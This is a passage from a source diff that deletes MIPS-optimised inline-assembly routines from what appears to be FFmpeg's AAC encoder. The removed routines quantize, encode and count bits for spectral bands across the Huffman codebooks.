-                "movn       %[qc2],     %[t4],      %[t1]   \n\t"
-                "movn       %[qc3],     %[t4],      %[t2]   \n\t"
-                "movn       %[qc4],     %[t4],      %[t3]   \n\t"
-                "lw         %[t0],      0(%[in_int])        \n\t"
-                "lw         %[t1],      4(%[in_int])        \n\t"
-                "lw         %[t2],      8(%[in_int])        \n\t"
-                "lw         %[t3],      12(%[in_int])       \n\t"
-                "slt        %[t0],      %[t0],      $zero   \n\t"
-                "movn       %[sign1],   %[t0],      %[qc1]  \n\t"
-                "slt        %[t2],      %[t2],      $zero   \n\t"
-                "movn       %[sign2],   %[t2],      %[qc3]  \n\t"
-                "slt        %[t1],      %[t1],      $zero   \n\t"
-                "sll        %[t0],      %[sign1],   1       \n\t"
-                "or         %[t0],      %[t0],      %[t1]   \n\t"
-                "movn       %[sign1],   %[t0],      %[qc2]  \n\t"
-                "slt        %[t3],      %[t3],      $zero   \n\t"
-                "sll        %[t0],      %[sign2],   1       \n\t"
-                "or         %[t0],      %[t0],      %[t3]   \n\t"
-                "movn       %[sign2],   %[t0],      %[qc4]  \n\t"
-                "slt        %[count1],  $zero,      %[qc1]  \n\t"
-                "slt        %[t1],      $zero,      %[qc2]  \n\t"
-                "slt        %[count2],  $zero,      %[qc3]  \n\t"
-                "slt        %[t2],      $zero,      %[qc4]  \n\t"
-                "addu       %[count1],  %[count1],  %[t1]   \n\t"
-                "addu       %[count2],  %[count2],  %[t2]   \n\t"
-
-                ".set pop                                   \n\t"
-
-                : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-                  [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-                  [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-                  [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-                  [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-                  [t4]"=&r"(t4)
-                : [in_int]"r"(in_int)
-                : "memory"
-            );
-
-            curidx = 17 * qc1;
-            curidx += qc2;
-            curidx2 = 17 * qc3;
-            curidx2 += qc4;
-
-            v_codes = (p_codes[curidx] << count1) | sign1;
-            v_bits  = p_bits[curidx] + count1;
-            put_bits(pb, v_bits, v_codes);
-
-            v_codes = (p_codes[curidx2] << count2) | sign2;
-            v_bits  = p_bits[curidx2] + count2;
-            put_bits(pb, v_bits, v_codes);
-
-            if (out || energy) {
-                float e1,e2,e3,e4;
-                vec1 = &p_vectors[curidx*2 ];
-                vec2 = &p_vectors[curidx2*2];
-                e1 = copysignf(vec1[0] * IQ, in[i+0]);
-                e2 = copysignf(vec1[1] * IQ, in[i+1]);
-                e3 = copysignf(vec2[0] * IQ, in[i+2]);
-                e4 = copysignf(vec2[1] * IQ, in[i+3]);
-                if (out) {
-                    out[i+0] = e1;
-                    out[i+1] = e2;
-                    out[i+2] = e3;
-                    out[i+3] = e4;
-                }
-                if (energy)
-                    qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-            }
-        }
-    } else {
-        for (i = 0; i < size; i += 4) {
-            int curidx, curidx2, sign1, count1, sign2, count2;
-            int *in_int = (int *)&in[i];
-            uint8_t v_bits;
-            unsigned int v_codes;
-            int c1, c2, c3, c4;
-            int t0, t1, t2, t3, t4;
-
-            qc1 = scaled[i  ] * Q34 + ROUNDING;
-            qc2 = scaled[i+1] * Q34 + ROUNDING;
-            qc3 = scaled[i+2] * Q34 + ROUNDING;
-            qc4 = scaled[i+3] * Q34 + ROUNDING;
-
-            __asm__ volatile (
-                ".set push                                  \n\t"
-                ".set noreorder                             \n\t"
-
-                "ori        %[t4],      $zero,      16      \n\t"
-                "ori        %[sign1],   $zero,      0       \n\t"
-                "ori        %[sign2],   $zero,      0       \n\t"
-                "shll_s.w   %[c1],      %[qc1],     18      \n\t"
-                "shll_s.w   %[c2],      %[qc2],     18      \n\t"
-                "shll_s.w   %[c3],      %[qc3],     18      \n\t"
-                "shll_s.w   %[c4],      %[qc4],     18      \n\t"
-                "srl        %[c1],      %[c1],      18      \n\t"
-                "srl        %[c2],      %[c2],      18      \n\t"
-                "srl        %[c3],      %[c3],      18      \n\t"
-                "srl        %[c4],      %[c4],      18      \n\t"
-                "slt        %[t0],      %[t4],      %[qc1]  \n\t"
-                "slt        %[t1],      %[t4],      %[qc2]  \n\t"
-                "slt        %[t2],      %[t4],      %[qc3]  \n\t"
-                "slt        %[t3],      %[t4],      %[qc4]  \n\t"
-                "movn       %[qc1],     %[t4],      %[t0]   \n\t"
-                "movn       %[qc2],     %[t4],      %[t1]   \n\t"
-                "movn       %[qc3],     %[t4],      %[t2]   \n\t"
-                "movn       %[qc4],     %[t4],      %[t3]   \n\t"
-                "lw         %[t0],      0(%[in_int])        \n\t"
-                "lw         %[t1],      4(%[in_int])        \n\t"
-                "lw         %[t2],      8(%[in_int])        \n\t"
-                "lw         %[t3],      12(%[in_int])       \n\t"
-                "slt        %[t0],      %[t0],      $zero   \n\t"
-                "movn       %[sign1],   %[t0],      %[qc1]  \n\t"
-                "slt        %[t2],      %[t2],      $zero   \n\t"
-                "movn       %[sign2],   %[t2],      %[qc3]  \n\t"
-                "slt        %[t1],      %[t1],      $zero   \n\t"
-                "sll        %[t0],      %[sign1],   1       \n\t"
-                "or         %[t0],      %[t0],      %[t1]   \n\t"
-                "movn       %[sign1],   %[t0],      %[qc2]  \n\t"
-                "slt        %[t3],      %[t3],      $zero   \n\t"
-                "sll        %[t0],      %[sign2],   1       \n\t"
-                "or         %[t0],      %[t0],      %[t3]   \n\t"
-                "movn       %[sign2],   %[t0],      %[qc4]  \n\t"
-                "slt        %[count1],  $zero,      %[qc1]  \n\t"
-                "slt        %[t1],      $zero,      %[qc2]  \n\t"
-                "slt        %[count2],  $zero,      %[qc3]  \n\t"
-                "slt        %[t2],      $zero,      %[qc4]  \n\t"
-                "addu       %[count1],  %[count1],  %[t1]   \n\t"
-                "addu       %[count2],  %[count2],  %[t2]   \n\t"
-
-                ".set pop                                   \n\t"
-
-                : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-                  [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-                  [sign1]"=&r"(sign1), [count1]"=&r"(count1),
-                  [sign2]"=&r"(sign2), [count2]"=&r"(count2),
-                  [c1]"=&r"(c1), [c2]"=&r"(c2),
-                  [c3]"=&r"(c3), [c4]"=&r"(c4),
-                  [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-                  [t4]"=&r"(t4)
-                : [in_int]"r"(in_int)
-                : "memory"
-            );
-
-            curidx = 17 * qc1;
-            curidx += qc2;
-
-            curidx2 = 17 * qc3;
-            curidx2 += qc4;
-
-            v_codes = (p_codes[curidx] << count1) | sign1;
-            v_bits  = p_bits[curidx] + count1;
-            put_bits(pb, v_bits, v_codes);
-
-            if (p_vectors[curidx*2  ] == 64.0f) {
-                int len = av_log2(c1);
-                v_codes = (((1 << (len - 3)) - 2) << len) | (c1 & ((1 << len) - 1));
-                put_bits(pb, len * 2 - 3, v_codes);
-            }
-            if (p_vectors[curidx*2+1] == 64.0f) {
-                int len = av_log2(c2);
-                v_codes = (((1 << (len - 3)) - 2) << len) | (c2 & ((1 << len) - 1));
-                put_bits(pb, len*2-3, v_codes);
-            }
-
-            v_codes = (p_codes[curidx2] << count2) | sign2;
-            v_bits  = p_bits[curidx2] + count2;
-            put_bits(pb, v_bits, v_codes);
-
-            if (p_vectors[curidx2*2  ] == 64.0f) {
-                int len = av_log2(c3);
-                v_codes = (((1 << (len - 3)) - 2) << len) | (c3 & ((1 << len) - 1));
-                put_bits(pb, len* 2 - 3, v_codes);
-            }
-            if (p_vectors[curidx2*2+1] == 64.0f) {
-                int len = av_log2(c4);
-                v_codes = (((1 << (len - 3)) - 2) << len) | (c4 & ((1 << len) - 1));
-                put_bits(pb, len * 2 - 3, v_codes);
-            }
-
-            if (out || energy) {
-                float e1, e2, e3, e4;
-                e1 = copysignf(c1 * cbrtf(c1) * IQ, in[i+0]);
-                e2 = copysignf(c2 * cbrtf(c2) * IQ, in[i+1]);
-                e3 = copysignf(c3 * cbrtf(c3) * IQ, in[i+2]);
-                e4 = copysignf(c4 * cbrtf(c4) * IQ, in[i+3]);
-                if (out) {
-                    out[i+0] = e1;
-                    out[i+1] = e2;
-                    out[i+2] = e3;
-                    out[i+3] = e4;
-                }
-                if (energy)
-                    qenergy += (e1*e1 + e2*e2) + (e3*e3 + e4*e4);
-            }
-        }
-    }
-    if (energy)
-        *energy = qenergy;
-}
-
-static void quantize_and_encode_band_cost_NONE_mips(struct AACEncContext *s,
-                                                         PutBitContext *pb, const float *in, float *out,
-                                                         const float *scaled, int size, int scale_idx,
-                                                         int cb, const float lambda, const float uplim,
-                                                         int *bits, float *energy, const float ROUNDING) {
-    av_assert0(0);
-}
-
-static void quantize_and_encode_band_cost_ZERO_mips(struct AACEncContext *s,
-                                                         PutBitContext *pb, const float *in, float *out,
-                                                         const float *scaled, int size, int scale_idx,
-                                                         int cb, const float lambda, const float uplim,
-                                                         int *bits, float *energy, const float ROUNDING) {
-    int i;
-    if (bits)
-        *bits = 0;
-    if (out) {
-        for (i = 0; i < size; i += 4) {
-           out[i  ] = 0.0f;
-           out[i+1] = 0.0f;
-           out[i+2] = 0.0f;
-           out[i+3] = 0.0f;
-        }
-    }
-    if (energy)
-        *energy = 0.0f;
-}
-
-static void (*const quantize_and_encode_band_cost_arr[])(struct AACEncContext *s,
-                                                         PutBitContext *pb, const float *in, float *out,
-                                                         const float *scaled, int size, int scale_idx,
-                                                         int cb, const float lambda, const float uplim,
-                                                         int *bits, float *energy, const float ROUNDING) = {
-    quantize_and_encode_band_cost_ZERO_mips,
-    quantize_and_encode_band_cost_SQUAD_mips,
-    quantize_and_encode_band_cost_SQUAD_mips,
-    quantize_and_encode_band_cost_UQUAD_mips,
-    quantize_and_encode_band_cost_UQUAD_mips,
-    quantize_and_encode_band_cost_SPAIR_mips,
-    quantize_and_encode_band_cost_SPAIR_mips,
-    quantize_and_encode_band_cost_UPAIR7_mips,
-    quantize_and_encode_band_cost_UPAIR7_mips,
-    quantize_and_encode_band_cost_UPAIR12_mips,
-    quantize_and_encode_band_cost_UPAIR12_mips,
-    quantize_and_encode_band_cost_ESC_mips,
-    quantize_and_encode_band_cost_NONE_mips, /* cb 12 doesn't exist */
-    quantize_and_encode_band_cost_ZERO_mips,
-    quantize_and_encode_band_cost_ZERO_mips,
-    quantize_and_encode_band_cost_ZERO_mips,
-};
-
-#define quantize_and_encode_band_cost(                                       \
-                                s, pb, in, out, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits, energy, ROUNDING)       \
-    quantize_and_encode_band_cost_arr[cb](                                   \
-                                s, pb, in, out, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits, energy, ROUNDING)
-
-static void quantize_and_encode_band_mips(struct AACEncContext *s, PutBitContext *pb,
-                                          const float *in, float *out, int size, int scale_idx,
-                                          int cb, const float lambda, int rtz)
-{
-    quantize_and_encode_band_cost(s, pb, in, out, NULL, size, scale_idx, cb, lambda,
-                                  INFINITY, NULL, NULL, (rtz) ? ROUND_TO_ZERO : ROUND_STANDARD);
-}
-
-/**
- * Functions developed from template function and optimized for getting the number of bits
- */
-static float get_band_numbits_ZERO_mips(struct AACEncContext *s,
-                                        PutBitContext *pb, const float *in,
-                                        const float *scaled, int size, int scale_idx,
-                                        int cb, const float lambda, const float uplim,
-                                        int *bits)
-{
-    return 0;
-}
-
-static float get_band_numbits_NONE_mips(struct AACEncContext *s,
-                                        PutBitContext *pb, const float *in,
-                                        const float *scaled, int size, int scale_idx,
-                                        int cb, const float lambda, const float uplim,
-                                        int *bits)
-{
-    av_assert0(0);
-    return 0;
-}
-
-static float get_band_numbits_SQUAD_mips(struct AACEncContext *s,
-                                         PutBitContext *pb, const float *in,
-                                         const float *scaled, int size, int scale_idx,
-                                         int cb, const float lambda, const float uplim,
-                                         int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits = (uint8_t *)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx;
-        int *in_int = (int *)&in[i];
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "slt    %[qc1], $zero,  %[qc1]  \n\t"
-            "slt    %[qc2], $zero,  %[qc2]  \n\t"
-            "slt    %[qc3], $zero,  %[qc3]  \n\t"
-            "slt    %[qc4], $zero,  %[qc4]  \n\t"
-            "lw     %[t0],  0(%[in_int])    \n\t"
-            "lw     %[t1],  4(%[in_int])    \n\t"
-            "lw     %[t2],  8(%[in_int])    \n\t"
-            "lw     %[t3],  12(%[in_int])   \n\t"
-            "srl    %[t0],  %[t0],  31      \n\t"
-            "srl    %[t1],  %[t1],  31      \n\t"
-            "srl    %[t2],  %[t2],  31      \n\t"
-            "srl    %[t3],  %[t3],  31      \n\t"
-            "subu   %[t4],  $zero,  %[qc1]  \n\t"
-            "subu   %[t5],  $zero,  %[qc2]  \n\t"
-            "subu   %[t6],  $zero,  %[qc3]  \n\t"
-            "subu   %[t7],  $zero,  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t5],  %[t1]   \n\t"
-            "movn   %[qc3], %[t6],  %[t2]   \n\t"
-            "movn   %[qc4], %[t7],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-        curidx += 40;
-
-        curbits += p_bits[curidx];
-    }
-    return curbits;
-}
-
-static float get_band_numbits_UQUAD_mips(struct AACEncContext *s,
-                                         PutBitContext *pb, const float *in,
-                                         const float *scaled, int size, int scale_idx,
-                                         int cb, const float lambda, const float uplim,
-                                         int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int curbits = 0;
-    int qc1, qc2, qc3, qc4;
-
-    uint8_t *p_bits = (uint8_t *)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "ori    %[t4],  $zero,  2       \n\t"
-            "slt    %[t0],  %[t4],  %[qc1]  \n\t"
-            "slt    %[t1],  %[t4],  %[qc2]  \n\t"
-            "slt    %[t2],  %[t4],  %[qc3]  \n\t"
-            "slt    %[t3],  %[t4],  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t4],  %[t1]   \n\t"
-            "movn   %[qc3], %[t4],  %[t2]   \n\t"
-            "movn   %[qc4], %[t4],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-        );
-
-        curidx = qc1;
-        curidx *= 3;
-        curidx += qc2;
-        curidx *= 3;
-        curidx += qc3;
-        curidx *= 3;
-        curidx += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += uquad_sign_bits[curidx];
-    }
-    return curbits;
-}
-
-static float get_band_numbits_SPAIR_mips(struct AACEncContext *s,
-                                         PutBitContext *pb, const float *in,
-                                         const float *scaled, int size, int scale_idx,
-                                         int cb, const float lambda, const float uplim,
-                                         int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits = (uint8_t*)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx, curidx2;
-        int *in_int = (int *)&in[i];
-        int t0, t1, t2, t3, t4, t5, t6, t7;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "ori    %[t4],  $zero,  4       \n\t"
-            "slt    %[t0],  %[t4],  %[qc1]  \n\t"
-            "slt    %[t1],  %[t4],  %[qc2]  \n\t"
-            "slt    %[t2],  %[t4],  %[qc3]  \n\t"
-            "slt    %[t3],  %[t4],  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t4],  %[t1]   \n\t"
-            "movn   %[qc3], %[t4],  %[t2]   \n\t"
-            "movn   %[qc4], %[t4],  %[t3]   \n\t"
-            "lw     %[t0],  0(%[in_int])    \n\t"
-            "lw     %[t1],  4(%[in_int])    \n\t"
-            "lw     %[t2],  8(%[in_int])    \n\t"
-            "lw     %[t3],  12(%[in_int])   \n\t"
-            "srl    %[t0],  %[t0],  31      \n\t"
-            "srl    %[t1],  %[t1],  31      \n\t"
-            "srl    %[t2],  %[t2],  31      \n\t"
-            "srl    %[t3],  %[t3],  31      \n\t"
-            "subu   %[t4],  $zero,  %[qc1]  \n\t"
-            "subu   %[t5],  $zero,  %[qc2]  \n\t"
-            "subu   %[t6],  $zero,  %[qc3]  \n\t"
-            "subu   %[t7],  $zero,  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t5],  %[t1]   \n\t"
-            "movn   %[qc3], %[t6],  %[t2]   \n\t"
-            "movn   %[qc4], %[t7],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4), [t5]"=&r"(t5), [t6]"=&r"(t6), [t7]"=&r"(t7)
-            : [in_int]"r"(in_int)
-            : "memory"
-        );
-
-        curidx  = 9 * qc1;
-        curidx += qc2 + 40;
-
-        curidx2  = 9 * qc3;
-        curidx2 += qc4 + 40;
-
-        curbits += p_bits[curidx] + p_bits[curidx2];
-    }
-    return curbits;
-}
-
-static float get_band_numbits_UPAIR7_mips(struct AACEncContext *s,
-                                          PutBitContext *pb, const float *in,
-                                          const float *scaled, int size, int scale_idx,
-                                          int cb, const float lambda, const float uplim,
-                                          int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits = (uint8_t *)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx, curidx2;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "ori    %[t4],  $zero,  7       \n\t"
-            "slt    %[t0],  %[t4],  %[qc1]  \n\t"
-            "slt    %[t1],  %[t4],  %[qc2]  \n\t"
-            "slt    %[t2],  %[t4],  %[qc3]  \n\t"
-            "slt    %[t3],  %[t4],  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t4],  %[t1]   \n\t"
-            "movn   %[qc3], %[t4],  %[t2]   \n\t"
-            "movn   %[qc4], %[t4],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-        );
-
-        curidx  = 8 * qc1;
-        curidx += qc2;
-
-        curidx2  = 8 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx] +
-                   upair7_sign_bits[curidx] +
-                   p_bits[curidx2] +
-                   upair7_sign_bits[curidx2];
-    }
-    return curbits;
-}
-
-static float get_band_numbits_UPAIR12_mips(struct AACEncContext *s,
-                                           PutBitContext *pb, const float *in,
-                                           const float *scaled, int size, int scale_idx,
-                                           int cb, const float lambda, const float uplim,
-                                           int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits = (uint8_t *)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx, curidx2;
-        int t0, t1, t2, t3, t4;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                      \n\t"
-            ".set noreorder                 \n\t"
-
-            "ori    %[t4],  $zero,  12      \n\t"
-            "slt    %[t0],  %[t4],  %[qc1]  \n\t"
-            "slt    %[t1],  %[t4],  %[qc2]  \n\t"
-            "slt    %[t2],  %[t4],  %[qc3]  \n\t"
-            "slt    %[t3],  %[t4],  %[qc4]  \n\t"
-            "movn   %[qc1], %[t4],  %[t0]   \n\t"
-            "movn   %[qc2], %[t4],  %[t1]   \n\t"
-            "movn   %[qc3], %[t4],  %[t2]   \n\t"
-            "movn   %[qc4], %[t4],  %[t3]   \n\t"
-
-            ".set pop                       \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [t0]"=&r"(t0), [t1]"=&r"(t1), [t2]"=&r"(t2), [t3]"=&r"(t3),
-              [t4]"=&r"(t4)
-        );
-
-        curidx  = 13 * qc1;
-        curidx += qc2;
-
-        curidx2  = 13 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx] +
-                   p_bits[curidx2] +
-                   upair12_sign_bits[curidx] +
-                   upair12_sign_bits[curidx2];
-    }
-    return curbits;
-}
-
-static float get_band_numbits_ESC_mips(struct AACEncContext *s,
-                                       PutBitContext *pb, const float *in,
-                                       const float *scaled, int size, int scale_idx,
-                                       int cb, const float lambda, const float uplim,
-                                       int *bits)
-{
-    const float Q34 = ff_aac_pow34sf_tab[POW_SF2_ZERO - scale_idx + SCALE_ONE_POS - SCALE_DIV_512];
-    int i;
-    int qc1, qc2, qc3, qc4;
-    int curbits = 0;
-
-    uint8_t *p_bits = (uint8_t*)ff_aac_spectral_bits[cb-1];
-
-    for (i = 0; i < size; i += 4) {
-        int curidx, curidx2;
-        int cond0, cond1, cond2, cond3;
-        int c1, c2, c3, c4;
-        int t4, t5;
-
-        qc1 = scaled[i  ] * Q34 + ROUND_STANDARD;
-        qc2 = scaled[i+1] * Q34 + ROUND_STANDARD;
-        qc3 = scaled[i+2] * Q34 + ROUND_STANDARD;
-        qc4 = scaled[i+3] * Q34 + ROUND_STANDARD;
-
-        __asm__ volatile (
-            ".set push                                  \n\t"
-            ".set noreorder                             \n\t"
-
-            "ori        %[t4],      $zero,  15          \n\t"
-            "ori        %[t5],      $zero,  16          \n\t"
-            "shll_s.w   %[c1],      %[qc1], 18          \n\t"
-            "shll_s.w   %[c2],      %[qc2], 18          \n\t"
-            "shll_s.w   %[c3],      %[qc3], 18          \n\t"
-            "shll_s.w   %[c4],      %[qc4], 18          \n\t"
-            "srl        %[c1],      %[c1],  18          \n\t"
-            "srl        %[c2],      %[c2],  18          \n\t"
-            "srl        %[c3],      %[c3],  18          \n\t"
-            "srl        %[c4],      %[c4],  18          \n\t"
-            "slt        %[cond0],   %[t4],  %[qc1]      \n\t"
-            "slt        %[cond1],   %[t4],  %[qc2]      \n\t"
-            "slt        %[cond2],   %[t4],  %[qc3]      \n\t"
-            "slt        %[cond3],   %[t4],  %[qc4]      \n\t"
-            "movn       %[qc1],     %[t5],  %[cond0]    \n\t"
-            "movn       %[qc2],     %[t5],  %[cond1]    \n\t"
-            "movn       %[qc3],     %[t5],  %[cond2]    \n\t"
-            "movn       %[qc4],     %[t5],  %[cond3]    \n\t"
-            "ori        %[t5],      $zero,  31          \n\t"
-            "clz        %[c1],      %[c1]               \n\t"
-            "clz        %[c2],      %[c2]               \n\t"
-            "clz        %[c3],      %[c3]               \n\t"
-            "clz        %[c4],      %[c4]               \n\t"
-            "subu       %[c1],      %[t5],  %[c1]       \n\t"
-            "subu       %[c2],      %[t5],  %[c2]       \n\t"
-            "subu       %[c3],      %[t5],  %[c3]       \n\t"
-            "subu       %[c4],      %[t5],  %[c4]       \n\t"
-            "sll        %[c1],      %[c1],  1           \n\t"
-            "sll        %[c2],      %[c2],  1           \n\t"
-            "sll        %[c3],      %[c3],  1           \n\t"
-            "sll        %[c4],      %[c4],  1           \n\t"
-            "addiu      %[c1],      %[c1],  -3          \n\t"
-            "addiu      %[c2],      %[c2],  -3          \n\t"
-            "addiu      %[c3],      %[c3],  -3          \n\t"
-            "addiu      %[c4],      %[c4],  -3          \n\t"
-            "subu       %[cond0],   $zero,  %[cond0]    \n\t"
-            "subu       %[cond1],   $zero,  %[cond1]    \n\t"
-            "subu       %[cond2],   $zero,  %[cond2]    \n\t"
-            "subu       %[cond3],   $zero,  %[cond3]    \n\t"
-            "and        %[c1],      %[c1],  %[cond0]    \n\t"
-            "and        %[c2],      %[c2],  %[cond1]    \n\t"
-            "and        %[c3],      %[c3],  %[cond2]    \n\t"
-            "and        %[c4],      %[c4],  %[cond3]    \n\t"
-
-            ".set pop                                   \n\t"
-
-            : [qc1]"+r"(qc1), [qc2]"+r"(qc2),
-              [qc3]"+r"(qc3), [qc4]"+r"(qc4),
-              [cond0]"=&r"(cond0), [cond1]"=&r"(cond1),
-              [cond2]"=&r"(cond2), [cond3]"=&r"(cond3),
-              [c1]"=&r"(c1), [c2]"=&r"(c2),
-              [c3]"=&r"(c3), [c4]"=&r"(c4),
-              [t4]"=&r"(t4), [t5]"=&r"(t5)
-        );
-
-        curidx = 17 * qc1;
-        curidx += qc2;
-
-        curidx2 = 17 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += esc_sign_bits[curidx];
-        curbits += p_bits[curidx2];
-        curbits += esc_sign_bits[curidx2];
-
-        curbits += c1;
-        curbits += c2;
-        curbits += c3;
-        curbits += c4;
-    }
-    return curbits;
-}
-
-static float (*const get_band_numbits_arr[])(struct AACEncContext *s,
-                                             PutBitContext *pb, const float *in,
-                                             const float *scaled, int size, int scale_idx,
-                                             int cb, const float lambda, const float uplim,
-                                             int *bits) = {
-    get_band_numbits_ZERO_mips,
-    get_band_numbits_SQUAD_mips,
-    get_band_numbits_SQUAD_mips,
-    get_band_numbits_UQUAD_mips,
-    get_band_numbits_UQUAD_mips,
-    get_band_numbits_SPAIR_mips,
-    get_band_numbits_SPAIR_mips,
-    get_band_numbits_UPAIR7_mips,
-    get_band_numbits_UPAIR7_mips,
-    get_band_numbits_UPAIR12_mips,
-    get_band_numbits_UPAIR12_mips,
-    get_band_numbits_ESC_mips,
-    get_band_numbits_NONE_mips, /* cb 12 doesn't exist */
-    get_band_numbits_ZERO_mips,
-    get_band_numbits_ZERO_mips,
-    get_band_numbits_ZERO_mips,
-};
-
-#define get_band_numbits(                                  \
-                                s, pb, in, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits)                    \
-    get_band_numbits_arr[cb](                              \
-                                s, pb, in, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits)
-
-static float quantize_band_cost_bits(struct AACEncContext *s, const float *in,
-                                     const float *scaled, int size, int scale_idx,
-                                     int cb, const float lambda, const float uplim,
-                                     int *bits, float *energy)
-{
-    return get_band_numbits(s, NULL, in, scaled, size, scale_idx, cb, lambda, uplim, bits);
-}
-
-/**
